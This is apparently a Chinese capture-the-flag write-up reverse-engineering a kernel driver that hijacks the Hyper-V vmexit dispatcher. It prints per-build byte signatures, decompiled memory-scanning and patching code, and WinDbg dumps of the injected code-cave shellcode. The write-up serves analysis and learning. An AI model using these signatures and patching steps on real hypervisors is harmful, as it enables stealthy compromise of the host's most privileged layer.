取一个页面起始的物理地址，copy 到分配的页面里。这边 MmCopyMemory 的 Flags = 1，即 MM_COPY_MEMORY_PHYSICAL

    phys = (pRange + v24) & 0xFFFFFFFFFFFFF000uLL;
    if ( (MmCopyMemory)(allocated_memory, phys, size, 1, v92) >= 0 )
    {

筛选条件

    { // 接上文
      v41 = -8;
      do
      {
        if ( *(allocated_memory + v41 + 8) != 0xFFFFFFFFFFFFFFFFuLL )
          goto LABEL_22;
        v41 += 8LL;
      }
      while ( v41 <= 0xFF7 );

就是扫连续八字节，确保全为 0xFFFFFFFFFFFFFFFF

if (MmCopy(allocated_memory, phys, size, 1, v92) >= 0)
{
    for (int i = 0; i < 0x1000; i += 8)
    {
        if (*(uint64_t)(allocated_memory + i) != 0xFFFFFFFFFFFFFFFF)
            goto LABEL_22;
    }
}

筛选成功后用 MmMapIoSpace 进行一个映射，然后 bounce 到 allocated_memory 中

  mapped_va = (MmMapIoSpace)(phys, size, 0);
  _mapped_va = mapped_va;
  if ( scsi_sfer_n_4k_pages(allocated_memory, mapped_va, page_count) < 0 )// copy_phys_page_with_lazy_resolve ultimately falls back to scsi_sfer_n_4k_pages() when normal MmCopyMemory/MmMapIoSpace only sees the fake/guarded page view.
  {

筛掉 0、int3、nop

bounce 一次后又进行了一个筛，筛掉有 0 和 int3 和 nop 的页

    while ( 1 )
    {
      v61 = *(v58 + v60);
      if ( *(v58 + v60) )
      {
        if ( v61 != 0xCC && v61 != 0x90 )
          break;
      }
      if ( v59 == ++v60 )
        goto LABEL_61;
    }

find_kernel_signature_in_physical_ranges

14000BEB0

取受保护页面的真实内容

分配一页的内存，失败输出日志，也是做题过程中看到的第一条日志

  allocated_memory = (MmAllocateContiguousMemory)(0x1000, 0xFFFFFFFFFFFFFFFFuLL);
  if ( !allocated_memory )
  {
    decode_hidden_string_len6(&unk_141D0FFEC, &byte_14002135F);// decode_hidden_string_len6("debug")
    decode_hidden_string_len51(&unk_141D0FF30, &dword_14002117C);// decode_hidden_string_len51("D:\\UGit\\HyperCharge2\\src\\kernelsys\\hypercharge.cpp")
    decode_hidden_log_string_ex(&unk_141D102F0, word_140021A82);// decode_hidden_log_string_ex("hypercharge::FindVMExitHandler")
    decode_hidden_log_string_v2(&unk_141D10188, &word_140021706);// decode_hidden_log_string_v2("failed to alloc mmeory for read buffer.\r\n")
    log_decoded_hypercharge_message(&unk_141D0FFEC, &unk_141D0FF30, &unk_141D102F0, 808, &unk_141D10188);// log_decoded_hypercharge_message(..., line=808, message="failed to alloc mmeory for read buffer.\r\n")
    return 0xC000009A;
  }

然后 MmGetPhysicalMemoryRanges 拿到一个物理内存区间表，要保证 BaseAddress 为 0

  range = (MmGetPhysicalMemoryRanges)();
  if ( !range->BaseAddress )
    goto LABEL_158;

MmGetPhysicalMemoryRanges 返回一个 PPHYSICAL_MEMORY_RANGE，结构体定义如下

typedef struct _PHYSICAL_MEMORY_RANGE {
    PHYSICAL_ADDRESS BaseAddress; // 物理地址的起始位置
    LARGE_INTEGER    NumberOfBytes; // 该范围的字节数
} PHYSICAL_MEMORY_RANGE, *PPHYSICAL_MEMORY_RANGE;

遍历 range，拿到当前页边界，把当前页 copy 到 scratch page，开始筛 0xFF，跟前面一样的，对这样的 candidate 做映射，然后拿到它的真实内容

    while ( 1 )
    {
      CurrentAddress = v42 + _range_1->BaseAddress;
      MmCopyMemory = g_pMmCopyMemory;
        ...
      CurrentPage = CurrentAddress & 0xFFFFFFFFFFFFF000uLL;
      if ( (MmCopyMemory)(_allocated_memory_2, CurrentPage, 0x1000, 1, v237) < 0 )
        goto LABEL_38;    
      v59 = -8;
      do
      {
        if ( *&_allocated_memory_2[v59 + 8] != 0xFFFFFFFFFFFFFFFFuLL )
          goto LABEL_38;
        v59 += 8LL;
      }
        ...
      mapped_va = (MmMapIoSpace)(CurrentPage, 4096, 0);// Map the candidate page so it can be validated and, if it passes, scanned in-place.
      if ( !mapped_va )
        goto LABEL_38;
      _mapped_va = mapped_va;
      if ( scsi_xfer_1_page(_allocated_memory_2, mapped_va) >= 0 )
        break;                                  // Only if scsi_xfer_1_page succeeds does the scanner trust this page as a candidate 'real content' page for signature matching.
...

这一步之后开始对 scratch 做模式匹配，说明这个物理页面直接 copy 的话读到的是全 0xFF，但映射到虚拟内存并经过 scsi_xfer_1_page 之后复制到 scratch 的是包含特征码的真实内容。这表明这个物理页面是隐藏/受保护的页面

匹配特征码

首先会检查 CPU 为 Intel 或 AMD，如果两个都不是会急

迁移注记原文图片未随仓库迁入：image-20260502120914969image-20260502120914969.png

AMD 路径

bytes: E8 ?? ?? ?? ?? 48 89 04 24 E9
mask: x????xxxxx

迁移注记原文图片未随仓库迁入：image-20260502121830371image-20260502121830371.png

迁移注记原文图片未随仓库迁入：image-20260502121813044image-20260502121813044.png

Intel 路径

一样先区 Build Number，然后进入 InitIntelBuildPatternDescriptor(140018260) 拿到对应系统版本的特征码。可以看到只有 Win11 22621 这条分支加密了，其它特征码都是明文，后面可以直接用

本机特征码 65 C6 04 25 6D ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8B 54 24 ?? E8 ?? ?? ?? ?? E9

// Initialize a PATTERN_DESCRIPTOR for Intel systems based on NtBuildNumber. The packed qword at +0x48 stores Length in the low 32 bits and MatchOffset in the high 32 bits.
// 按 NtBuildNumber 选择 Intel 版 VmExit dispatcher 特征描述器；低32位=pattern长度，高32位=命中后再偏移到目标 call 的 MatchOffset。
PATTERN_DESCRIPTOR *__fastcall InitIntelBuildPatternDescriptor(
        PATTERN_DESCRIPTOR *outPattern,
        unsigned __int64 ntBuildNumber)
{
  __int64 v4; // rax
  __int64 v5; // r15

  *&outPattern->Mask[56] = 0;
  *&outPattern->Mask[40] = 0;
  *&outPattern->Mask[24] = 0;
  *&outPattern->Mask[8] = 0;
  *&outPattern->Bytes = 0;
  if ( ntBuildNumber < 0x585D )                 // Build 22621 is the main split: newer Intel builds use the decrypted Win11 pattern, older builds use legacy per-build signatures.
  {                                             // Build 19041 is the next split between the 2004+ Intel pattern and the older 17763/17134/10586/10240 patterns.
    if ( ntBuildNumber < 0x4A61 )
    {
      if ( ntBuildNumber >= 0x4563 )
      {
        outPattern->Bytes = g_Win10_17763PatternBytes;
        *&outPattern->Length = 0x1300000019LL;  // Packed descriptor field: Length=0x19, MatchOffset=0x13.
        qmemcpy(outPattern->Mask, "xxxx?xxx????xxxxxx?x????", 24);
        goto LABEL_11;
      }
      if ( ntBuildNumber < 0x42EE )
      {
        if ( ntBuildNumber < 0x295A )
        {
          if ( ntBuildNumber < 0x2800 )
            return outPattern;
          outPattern->Bytes = g_Win10_10240PatternBytes;
          *&outPattern->Length = 0x1300000019LL;
          qmemcpy(outPattern->Mask, "xxxxxxxxxxxxxxx????x", 20);
          goto LABEL_8;
        }
        outPattern->Bytes = g_Win10_10586PatternBytes;
        *&outPattern->Length = 0x1300000019LL;
        qmemcpy(outPattern->Mask, "xx????x?xx????xxxx", 18);
      }
      else
      {
        outPattern->Bytes = g_Win10_17134PatternBytes;
        *&outPattern->Length = 0x1300000019LL;
        qmemcpy(outPattern->Mask, "xxxxxxx?xx????xxxx", 18);
      }
    }
    else
    {
      outPattern->Bytes = g_Win10_19041PatternBytes;
      *&outPattern->Length = 0x1300000019LL;
      qmemcpy(outPattern->Mask, "xxxxxxxxxxxxx?xxxx", 18);
    }
    *&outPattern->Mask[18] = 'x?';
LABEL_8:
    *&outPattern->Mask[20] = '????';
LABEL_11:
    outPattern->Mask[24] = 'x';
    return outPattern;
  }
  outPattern->Bytes = g_Win11_22621PatternBytes;
  *&outPattern->Length = 0x170000001DLL;        // Packed descriptor field: Length=0x1D, MatchOffset=0x17.
  v4 = 0;
  do
  {
    v5 = v4;
    DecodeWin11PatternBytesOnce(byte_141D10224, &g_EncodedWin11PatternMask);// Decode the obfuscated Win11 mask once, then copy it into outPattern->Mask.
    outPattern->Mask[v5] = byte_141D10224[v5];
    v4 = v5 + 1;
  }
  while ( v5 != 28 );
  outPattern->Mask[29] = 0;
  return outPattern;
}

后面是特征码匹配算法，就是线性扫描，Mask[i] == ‘x’ 时要求字节严格相等，Mask[i] == ’?’ 时跳过

没匹配到有日志

    decode_hidden_string_len6_alt(&unk_141D0FF68, byte_1400211E9);// decode_hidden_string_len6_alt("error")
    decode_hidden_string_len51(&unk_141D0FF30, &dword_14002117C);// decode_hidden_string_len51("D:\\UGit\\HyperCharge2\\src\\kernelsys\\hypercharge.cpp")
    decode_hidden_log_string_ex(&unk_141D102F0, word_140021A82);// decode_hidden_log_string_ex("hypercharge::FindVMExitHandler")
    decode_hidden_log_string_len14(&unk_141D101D8, word_1400217BA);// decode_hidden_log_string_len14("no any sig.\r\n")
    log_decoded_hypercharge_message(&unk_141D0FF68, &unk_141D0FF30, &unk_141D102F0, 867, &unk_141D101D8);// log_decoded_hypercharge_message(..., line=867, message="no any sig.\r\n")

manual_map_pe_image

地址：0x14000E630

拷贝 PE，断点下到这里就能取到 shellcode

校验 PE 结构，失败输出日志

迁移注记原文图片未随仓库迁入：image-20260502124412943image-20260502124412943.png

后面就是节拷贝，拷贝失败会输出做题的时候看到的日志

      do
      {
        v17 = v14;
        v78 = v12;
        v18 = 5 * v12;
        v19 = *(v72 + 40 * v12 + 16);
        if ( v19 )
          memmove_sse2_overlap_safe(*a2 + *(v72 + 8 * v18 + 12), (v79 + *(v72 + 8 * v18 + 20)), v19);
        v20 = (v72 + 8 * v18);
        decode_hidden_section_name_pdpt_len3(&word_141D10018, word_1400213E2);// decode_hidden_section_name_pdpt_len3(".3")
        if ( *v20 == word_141D10018 )
        {
          v21 = *(v72 + 8 * v18 + 12);
          *(&(*a2)[255].m128_u64[1] + v21) = v13 & 0xFFFFFFFFFF000LL
                                           | *(&(*a2)[255].m128_u64[1] + v21) & 0xFFF0000000000FF8uLL
                                           | 3;
          v17 = a4 + *(v72 + 8 * v18 + 12);
          decode_hidden_log_level_debug_string_len6(&unk_141D0FFEC, &byte_14002135F);// decode_hidden_log_level_debug_string_len6("debug")
          decode_hidden_source_path_string_len51(&unk_141D0FF30, &dword_14002117C);// decode_hidden_source_path_string_len51("D:\\UGit\\HyperCharge2\\src\\kernelsys\\hypercharge.cpp")
          decode_hidden_log_scope_prepare_payload_string_len28(&unk_141D102A0, qword_1400219E8);// decode_hidden_log_scope_prepare_payload_string_len28("hypercharge::PreparePayload")
          decode_hidden_log_pdpt_physaddr_string_len68(&unk_141D10020, &dword_140021414);// decode_hidden_log_pdpt_physaddr_string_len68("Section .3 (pdpt) physical address at %p, pointing to physical %p\r\n")
          log_Hypercharge_Q_v3(&unk_141D0FFEC, &unk_141D0FF30, &unk_141D102A0, 499, &unk_141D10020, v17, v13);// Formatted log: [debug] hypercharge::PreparePayload @ D:\\UGit\\HyperCharge2\\src\\kernelsys\\hypercharge.cpp:499 -> "Section .3 (pdpt) physical address at %p, pointing to physical %p\r\n"
        }
        decode_hidden_section_name_pd_len3(&word_141D10068, byte_14002148B);// decode_hidden_section_name_pd_len3(".2")

build_vmexit_hook_shellcode

14000FC40

整个题目最核心的攻击逻辑就在这里。匹配到特征码位置后从特征码处开始搜索 0xCC 代码洞，填入 payload，payload 主要做页表映射的操作。patch vmexit dispatcher 跳转到代码洞之后 cpuid 触发 vmexit，跑完 payload 之后将代码洞恢复，再 patch vmexit dispatcher 跳转到密码校验逻辑

调试记录

函数入口处断下来，可以拿到：

rcx = FFFFE281A15A43DF：patch_site，从这里可以拿 hvxi64.exe 代码中本来要跳转的地址 original_target
第二个参数就是 patch_site 的页边界，用于辅助计算和一些校验
r8 = FFFFE281880C0000，驱动分配的 scratch 页面，作为 vmexit 页面的副本，传给 scsi_xfer_1_page 做校验
r9 = 420000：用于写入占位符 0xCAFEBABEDEADBEEF，.3 节， PDPT 页，对应 .data 段在 41C000
[rsp+28] = 4080：payload_slot_offset，pyaload.sys 中的 140004080，在 .data 段，分析可得到全局变量语义是原始 vmexit dispatcher 的槽位
[rsp+30] = 1720：payload_entry_rva，payload.sys 中的 140001720 vmexit_cpuid_backdoor_handler

patch_site 不仅是 0xcc 代码洞的位置，其实也是 vmexit dispatcher 的位置，看附近的代码可以发现

迁移注记原文图片未随仓库迁入：image-20260504180706222image-20260504180706222.png

262 行这个位置替换了占位符 0xCAFEBABEDEADBEEF，在对应的地方断下来步过，发现 420000 被写入了

迁移注记原文图片未随仓库迁入：image-20260504173745877image-20260504173745877.png

6: kd> u ffffda04`706030b0
ffffda04`706030b0 50              push    rax
ffffda04`706030b1 53              push    rbx
ffffda04`706030b2 48bb00e0dfbf7fffffff mov rbx,0FFFFFF7FBFDFE000h
ffffda04`706030bc 48b80000420000000000 mov rax,420000h
ffffda04`706030c6 4883c803        or      rax,3
ffffda04`706030ca 48898320030000  mov     qword ptr [rbx+320h],rax
ffffda04`706030d1 0f20db          mov     rbx,cr3
ffffda04`706030d4 0f22db          mov     cr3,rbx

类似地，另外两个占位符在如图所示位置 patch

迁移注记原文图片未随仓库迁入：image-20260504174111811image-20260504174111811.png

patch 后长这个样子，8A0 恰好是 original_target 的页偏移，下面的是 vmexit handler 指针在 payload.sys 中的偏移

ffffda04`706030f0 4805a038fdff    add     rax,0FFFFFFFFFFFD38A0h
ffffda04`706030f6 4881c380400000  add     rbx,4080h

完整 payload

6: kd> u ffffda04`706030b0 L15
ffffda04`706030b0 50              push    rax
ffffda04`706030b1 53              push    rbx
ffffda04`706030b2 48bb00e0dfbf7fffffff mov rbx,0FFFFFF7FBFDFE000h
ffffda04`706030bc 48b80000420000000000 mov rax,420000h
ffffda04`706030c6 4883c803        or      rax,3
ffffda04`706030ca 48898320030000  mov     qword ptr [rbx+320h],rax
ffffda04`706030d1 0f20db          mov     rbx,cr3
ffffda04`706030d4 0f22db          mov     cr3,rbx
ffffda04`706030d7 48bb0000e0ff7f320000 mov rbx,327FFFE00000h
ffffda04`706030e1 488b03          mov     rax,qword ptr [rbx]
ffffda04`706030e4 e800000000      call    ffffda04`706030e9
ffffda04`706030e9 58              pop     rax
ffffda04`706030ea 482500f0ffff    and     rax,0FFFFFFFFFFFFF000h
ffffda04`706030f0 4805a038fdff    add     rax,0FFFFFFFFFFFD38A0h
ffffda04`706030f6 4881c380400000  add     rbx,4080h
ffffda04`706030fd 488903          mov     qword ptr [rbx],rax
ffffda04`70603100 5b              pop     rbx
ffffda04`70603101 58              pop     rax

真正将 payload 写入代码洞的位置在这里，对应地址 1400111E5

迁移注记原文图片未随仓库迁入：image-20260504181008080image-20260504181008080.png

迁移注记原文图片未随仓库迁入：image-20260504181157810image-20260504181157810.png

追加了一句 call 和一句 jmp

迁移注记原文图片未随仓库迁入：image-20260512185812074image-20260512185812074.png

现在的状况：payload 写入代码洞，vmexit dispatcher 还没有被 patch

6: kd> db ffffe281`a15a4406
ffffe281`a15a4406  50 53 48 bb 00 e0 df bf-7f ff ff ff 48 b8 00 00  PSH.........H...
ffffe281`a15a4416  42 00 00 00 00 00 48 83-c8 03 48 89 83 20 03 00  B.....H...H.. ..
ffffe281`a15a4426  00 0f 20 db 0f 22 db 48-bb 00 00 e0 ff 7f 32 00  .. ..".H......2.
ffffe281`a15a4436  00 48 8b 03 e8 00 00 00-00 58 48 25 00 f0 ff ff  .H.......XH%....
ffffe281`a15a4446  48 05 a0 38 fd ff 48 81-c3 80 40 00 00 48 89 03  H..8..H...@..H..
ffffe281`a15a4456  5b 58 e8 43 34 fd ff e9-82 ff ff ff cc cc cc cc  [X.C4...........
ffffe281`a15a4466  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................
ffffe281`a15a4476  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................

6: kd> u FFFFE281A15A43DF
ffffe281`a15a43df e8bc34fdff      call    ffffe281`a15778a0
ffffe281`a15a43e4 e957fdffff      jmp     ffffe281`a15a4140
ffffe281`a15a43e9 740d            je      ffffe281`a15a43f8
ffffe281`a15a43eb c744243011100080 mov     dword ptr [rsp+30h],80001011h
ffffe281`a15a43f3 e91bffffff      jmp     ffffe281`a15a4313
ffffe281`a15a43f8 c744243012100080 mov     dword ptr [rsp+30h],80001012h
ffffe281`a15a4400 e90effffff      jmp     ffffe281`a15a4313
ffffe281`a15a4405 cc              int     3

接下来开始 patch vmexit dispatcher，首先是将原本的 call 改成 jmp（1400118B4），然后把目标 ffffe281`a15778a0 改成 ffffe281`a15a4406（1400118DD）。这里跳转目标就是代码洞内的 payload

迁移注记原文图片未随仓库迁入：image-20260504184313930image-20260504184313930.png

迁移注记原文图片未随仓库迁入：image-20260504184613328image-20260504184613328.png

之后又将这次修改回滚（140011349），因为此时这段 payload 已经跑完。那么不难想到在此之前一定调用了一次 cpuid 来跑这段 payload

迁移注记原文图片未随仓库迁入：image-20260504190155823image-20260504190155823.png

4: kd> u ffffe281`a15a43df
ffffe281`a15a43df e922000000      jmp     ffffe281`a15a4406
ffffe281`a15a43e4 e957fdffff      jmp     ffffe281`a15a4140
ffffe281`a15a43e9 740d            je      ffffe281`a15a43f8
ffffe281`a15a43eb c744243011100080 mov     dword ptr [rsp+30h],80001011h
ffffe281`a15a43f3 e91bffffff      jmp     ffffe281`a15a4313
ffffe281`a15a43f8 c744243012100080 mov     dword ptr [rsp+30h],80001012h
ffffe281`a15a4400 e90effffff      jmp     ffffe281`a15a4313
ffffe281`a15a4405 cc              int     3
4: kd> p
srztLao5dQ+0x1134b:
fffff808`efff134b 0fb68c2484000000 movzx   ecx,byte ptr [rsp+84h]
4: kd> u ffffe281`a15a43df
ffffe281`a15a43df e8bc34fd00      call    ffffe281`a25778a0
ffffe281`a15a43e4 e957fdffff      jmp     ffffe281`a15a4140
ffffe281`a15a43e9 740d            je      ffffe281`a15a43f8
ffffe281`a15a43eb c744243011100080 mov     dword ptr [rsp+30h],80001011h
ffffe281`a15a43f3 e91bffffff      jmp     ffffe281`a15a4313
ffffe281`a15a43f8 c744243012100080 mov     dword ptr [rsp+30h],80001012h
ffffe281`a15a4400 e90effffff      jmp     ffffe281`a15a4313
ffffe281`a15a4405 cc              int     3
4: kd> p
srztLao5dQ+0x11353:
fffff808`efff1353 884804          mov     byte ptr [rax+4],cl
4: kd> p
srztLao5dQ+0x11356:
fffff808`efff1356 488b05f3dccd01  mov     rax,qword ptr [srztLao5dQ+0x1cef050 (fffff808`f1ccf050)]
4: kd> u ffffe281`a15a43df
ffffe281`a15a43df e8bc34fdff      call    ffffe281`a15778a0
ffffe281`a15a43e4 e957fdffff      jmp     ffffe281`a15a4140
ffffe281`a15a43e9 740d            je      ffffe281`a15a43f8
ffffe281`a15a43eb c744243011100080 mov     dword ptr [rsp+30h],80001011h
ffffe281`a15a43f3 e91bffffff      jmp     ffffe281`a15a4313
ffffe281`a15a43f8 c744243012100080 mov     dword ptr [rsp+30h],80001012h
ffffe281`a15a4400 e90effffff      jmp     ffffe281`a15a4313
ffffe281`a15a4405 cc              int     3

接下来将代码洞中的 0x52 字节恢复成 0xcc（保留了后面加的 call 和 jmp）迁移注记原文图片未随仓库迁入：image-20260504190840746image-20260504190840746.png

7: kd> db FFFFE281A15A4406
ffffe281`a15a4406  50 53 48 bb 00 e0 df bf-7f ff ff ff 48 b8 00 00  PSH.........H...
ffffe281`a15a4416  42 00 00 00 00 00 48 83-c8 03 48 89 83 20 03 00  B.....H...H.. ..
ffffe281`a15a4426  00 0f 20 db 0f 22 db 48-bb 00 00 e0 ff 7f 32 00  .. ..".H......2.
ffffe281`a15a4436  00 48 8b 03 e8 00 00 00-00 58 48 25 00 f0 ff ff  .H.......XH%....
ffffe281`a15a4446  48 05 a0 38 fd ff 48 81-c3 80 40 00 00 48 89 03  H..8..H...@..H..
ffffe281`a15a4456  5b 58 e8 43 34 fd ff e9-82 ff ff ff cc cc cc cc  [X.C4...........
ffffe281`a15a4466  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................
ffffe281`a15a4476  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................
7: kd> p
srztLao5dQ+0x12343:
fffff808`efff2343 488b8424e0000000 mov     rax,qword ptr [rsp+0E0h]
7: kd> db FFFFE281A15A4406
ffffe281`a15a4406  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................
ffffe281`a15a4416  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................
ffffe281`a15a4426  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................
ffffe281`a15a4436  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................
ffffe281`a15a4446  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................
ffffe281`a15a4456  cc cc e8 43 34 fd ff e9-82 ff ff ff cc cc cc cc  ...C4...........
ffffe281`a15a4466  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................
ffffe281`a15a4476  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................

上图可以看到之后又在代码洞里进行了一个写，这里是最终写入的核心逻辑的 launcher（call 327FFFE01720）

7: kd> p
srztLao5dQ+0x1234e:
fffff808`efff234e 488b442458      mov     rax,qword ptr [rsp+58h]
7: kd> db FFFFE281A15A4406
ffffe281`a15a4406  49 cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  I...............
ffffe281`a15a4416  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................
ffffe281`a15a4426  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................
ffffe281`a15a4436  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................
ffffe281`a15a4446  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................
ffffe281`a15a4456  cc cc e8 43 34 fd ff e9-82 ff ff ff cc cc cc cc  ...C4...........
ffffe281`a15a4466  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................
ffffe281`a15a4476  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................
7: kd> bp srztLao5dQ+123A6
7: kd> g
Breakpoint 12 hit
srztLao5dQ+0x123a6:
fffff808`efff23a6 89480f          mov     dword ptr [rax+0Fh],ecx
7: kd> bp srztLao5dQ+123A6
breakpoint 12 redefined
7: kd> db FFFFE281A15A4406
ffffe281`a15a4406  49 ba 20 17 e0 ff 7f 32-00 00 41 ff d2 e9 cc cc  I. ....2..A.....
ffffe281`a15a4416  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................
ffffe281`a15a4426  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................
ffffe281`a15a4436  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................
ffffe281`a15a4446  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................
ffffe281`a15a4456  cc cc e8 43 34 fd ff e9-82 ff ff ff cc cc cc cc  ...C4...........
ffffe281`a15a4466  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................
ffffe281`a15a4476  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................
7: kd> u FFFFE281A15A4406
ffffe281`a15a4406 49ba2017e0ff7f320000 mov r10,327FFFE01720h
ffffe281`a15a4410 41ffd2          call    r10
ffffe281`a15a4413 e9cccccccc      jmp     ffffe281`6e2710e4
ffffe281`a15a4418 cc              int     3
ffffe281`a15a4419 cc              int     3
ffffe281`a15a441a cc              int     3
ffffe281`a15a441b cc              int     3
ffffe281`a15a441c cc              int     3

代码洞最终形态

7: kd> u FFFFE281A15A4406 L50
ffffe281`a15a4406 49ba2017e0ff7f320000 mov r10,327FFFE01720h
ffffe281`a15a4410 41ffd2          call    r10
ffffe281`a15a4413 e9ccffffff      jmp     ffffe281`a15a43e4
ffffe281`a15a4418 cc              int     3
ffffe281`a15a4419 cc              int     3
ffffe281`a15a441a cc              int     3
ffffe281`a15a441b cc              int     3
ffffe281`a15a441c cc              int     3
ffffe281`a15a441d cc              int     3
ffffe281`a15a441e cc              int     3
ffffe281`a15a441f cc              int     3
ffffe281`a15a4420 cc              int     3
ffffe281`a15a4421 cc              int     3
ffffe281`a15a4422 cc              int     3
ffffe281`a15a4423 cc              int     3
ffffe281`a15a4424 cc              int     3
ffffe281`a15a4425 cc              int     3
ffffe281`a15a4426 cc              int     3
ffffe281`a15a4427 cc              int     3
ffffe281`a15a4428 cc              int     3
ffffe281`a15a4429 cc              int     3
ffffe281`a15a442a cc              int     3
ffffe281`a15a442b cc              int     3
ffffe281`a15a442c cc              int     3
ffffe281`a15a442d cc              int     3
ffffe281`a15a442e cc              int     3
ffffe281`a15a442f cc              int     3
ffffe281`a15a4430 cc              int     3
ffffe281`a15a4431 cc              int     3
ffffe281`a15a4432 cc              int     3
ffffe281`a15a4433 cc              int     3
ffffe281`a15a4434 cc              int     3
ffffe281`a15a4435 cc              int     3
ffffe281`a15a4436 cc              int     3
ffffe281`a15a4437 cc              int     3
ffffe281`a15a4438 cc              int     3
ffffe281`a15a4439 cc              int     3
ffffe281`a15a443a cc              int     3
ffffe281`a15a443b cc              int     3
ffffe281`a15a443c cc              int     3
ffffe281`a15a443d cc              int     3
ffffe281`a15a443e cc              int     3
ffffe281`a15a443f cc              int     3
ffffe281`a15a4440 cc              int     3
ffffe281`a15a4441 cc              int     3
ffffe281`a15a4442 cc              int     3
ffffe281`a15a4443 cc              int     3
ffffe281`a15a4444 cc              int     3
ffffe281`a15a4445 cc              int     3
ffffe281`a15a4446 cc              int     3
ffffe281`a15a4447 cc              int     3
ffffe281`a15a4448 cc              int     3
ffffe281`a15a4449 cc              int     3
ffffe281`a15a444a cc              int     3
ffffe281`a15a444b cc              int     3
ffffe281`a15a444c cc              int     3
ffffe281`a15a444d cc              int     3
ffffe281`a15a444e cc              int     3
ffffe281`a15a444f cc              int     3
ffffe281`a15a4450 cc              int     3
ffffe281`a15a4451 cc              int     3
ffffe281`a15a4452 cc              int     3
ffffe281`a15a4453 cc              int     3
ffffe281`a15a4454 cc              int     3
ffffe281`a15a4455 cc              int     3
ffffe281`a15a4456 cc              int     3
ffffe281`a15a4457 cc              int     3
ffffe281`a15a4458 e84334fdff      call    ffffe281`a15778a0
ffffe281`a15a445d e982ffffff      jmp     ffffe281`a15a43e4

接下来又对 vmexit dispatcher 进行了一模一样的 patch（140011C92）

迁移注记原文图片未随仓库迁入：image-20260504192823504image-20260504192823504.png

4: kd> u rax
ffffe281`a15a43df e8bc34fdff      call    ffffe281`a15778a0
ffffe281`a15a43e4 e957fdffff      jmp     ffffe281`a15a4140
ffffe281`a15a43e9 740d            je      ffffe281`a15a43f8
ffffe281`a15a43eb c744243011100080 mov     dword ptr [rsp+30h],80001011h
ffffe281`a15a43f3 e91bffffff      jmp     ffffe281`a15a4313
ffffe281`a15a43f8 c744243012100080 mov     dword ptr [rsp+30h],80001012h
ffffe281`a15a4400 e90effffff      jmp     ffffe281`a15a4313
ffffe281`a15a4405 cc              int     3
4: kd> bp srztLao5dQ+11CA4
4: kd> g
Breakpoint 13 hit
srztLao5dQ+0x11ca4:
fffff808`efff1ca4 8901            mov     dword ptr [rcx],eax
4: kd> u ffffe281`a15a43df
ffffe281`a15a43df e9bc34fdff      jmp     ffffe281`a15778a0
ffffe281`a15a43e4 e957fdffff      jmp     ffffe281`a15a4140
ffffe281`a15a43e9 740d            je      ffffe281`a15a43f8
ffffe281`a15a43eb c744243011100080 mov     dword ptr [rsp+30h],80001011h
ffffe281`a15a43f3 e91bffffff      jmp     ffffe281`a15a4313
ffffe281`a15a43f8 c744243012100080 mov     dword ptr [rsp+30h],80001012h
ffffe281`a15a4400 e90effffff      jmp     ffffe281`a15a4313
ffffe281`a15a4405 cc              int     3
4: kd> p
srztLao5dQ+0x11ca6:
fffff808`efff1ca6 488b05a3d3cd01  mov     rax,qword ptr [srztLao5dQ+0x1cef050 (fffff808`f1ccf050)]
4: kd> u ffffe281`a15a43df
ffffe281`a15a43df e922000000      jmp     ffffe281`a15a4406
ffffe281`a15a43e4 e957fdffff      jmp     ffffe281`a15a4140
ffffe281`a15a43e9 740d            je      ffffe281`a15a43f8
ffffe281`a15a43eb c744243011100080 mov     dword ptr [rsp+30h],80001011h
ffffe281`a15a43f3 e91bffffff      jmp     ffffe281`a15a4313
ffffe281`a15a43f8 c744243012100080 mov     dword ptr [rsp+30h],80001012h
ffffe281`a15a4400 e90effffff      jmp     ffffe281`a15a4313
ffffe281`a15a4405 cc              int     3

至此攻击流程一目了然

如果没有上帝视角

程序混淆很重，还没有怎么研究过 tvm，所以如果漏分析了几个关键函数应该如何推进分析呢？看了 saileaxh 的题解有一点启发：

首先扫特征码定位 hyperv 镜像的逻辑是必须找到的

.vmem 是虚拟机物理内存，所有痕迹都可以找到，包括 vmexit handler（通过特征码定位）、代码洞、payload.sys 的位置、题目中的自建页表。题目中的日志泄露了自建页表的物理地址，据此也能够找到 payload.sys 的位置。具体地说，先是要定位到 patch 点，然后拿到 0x327FFFE01720 这个目标地址，再用页表计算物理地址。
.vmem 中扫题目中多次出现的魔数，分别 dump 上下文，交给 ai 分析，应该也能够发现蛛丝马迹，并且魔数本身就在 payload.sys 中出现过

基本概念

将 vhd 用 AttachVirtualDisk 挂载后，会在系统内暴露出一个虚拟磁盘设备，之后可以按 LBA 访问
Windows 存储栈：上层通常有 partmgr.sys, disk.sys，底层是 vhdmp.sys，为 IRP 传输提供一个可用的设备栈
SCSI_PASS_THROUGH_DIRECT：Windows 提供的标准 pass-through 方式，调用者构造 CDB、DataBuffer、长度等字段，让存储栈来执行一个 SCSI 命令，比如 READ(10), WRITE(10)
scsi bounce：hypervisor 利用 EPT 保护 Ring -1 页面，此时需要通过 DMA 访问真实内容
